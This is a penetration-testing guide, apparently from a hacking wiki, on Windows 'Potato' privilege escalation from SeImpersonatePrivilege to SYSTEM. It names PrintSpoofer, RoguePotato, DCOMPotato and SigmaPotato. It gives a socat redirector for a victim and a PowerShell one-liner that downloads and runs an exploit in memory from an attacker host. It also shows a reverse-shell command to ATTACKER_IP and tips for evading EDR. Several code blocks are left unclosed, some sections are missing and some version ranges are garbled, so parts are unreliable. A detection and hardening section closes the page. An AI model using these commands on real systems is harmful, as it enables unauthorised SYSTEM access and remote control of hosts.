> [!WARNING] > **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
> Note: A modern alternative frequently maintained in 20242025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.

## Requirements and common gotchas
All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges:
- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege
- High integrity is not required if the token already has SeImpersonatePrivilege (typical for many service accounts such as IIS AppPool, MSSQL, etc.)
Check privileges quickly:
```cmd
whoami /priv | findstr /i impersonate
```
Operational notes:
- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato.
- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag.
- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon).
- Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running.

Notes:
- You can use -i to spawn an interactive process in the current console, or -c to run a one-liner.
- Requires Spooler service. If disabled, this will fail.
### RoguePotato

If outbound 135 is blocked, pivot the OXID resolver via socat on your redirector:
```bash
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
# On victim, run RoguePotato with local resolver on 9999 and -r pointing to the redirector IP

Tip: If one pipe fails or EDR blocks it, try the other supported pipes:
```text

Notes:
- Works across Windows 8/8.111 and Server 20122022 when SeImpersonatePrivilege is present.
### DCOMPotato
![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
DCOMPotato provides two variants targeting service DCOM objects that default to RPC_C_IMP_LEVEL_IMPERSONATE. Build or use the provided binaries and run your command:
```cmd
# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"
# McpManagementService variant (Server 2022 also)
McpManagementPotato.exe "cmd /c whoami"
```
### SigmaPotato (updated GodPotato fork)
SigmaPotato adds modern niceties like in-memory execution via .NET reflection and a PowerShell reverse shell helper.
```powershell
# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
[SigmaPotato]::Main("cmd /c whoami")
# Or ask it to spawn a PS reverse shell
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
```
## Detection and hardening notes
- Monitor for processes creating named pipes and immediately calling token-duplication APIs followed by CreateProcessAsUser/CreateProcessWithTokenW. Sysmon can surface useful telemetry: Event ID 1 (process creation), 17/18 (named pipe created/connected), and command lines spawning child processes as SYSTEM.
- Spooler hardening: Disabling the Print Spooler service on servers where it isnt needed prevents PrintSpoofer-style local coercions via spoolss.
- Service account hardening: Minimize assignment of SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege to custom services. Consider running services under virtual accounts with least privileges required and isolating them with service SID and write-restricted tokens when possible.
- Network controls: Blocking outbound TCP/135 or restricting RPC endpoint mapper traffic can break RoguePotato unless an internal redirector is available.
- EDR/AV: All of these tools are widely signatured. Recompiling from source, renaming symbols/strings, or using in-memory execution can reduce detection but wont defeat solid behavioral detections.
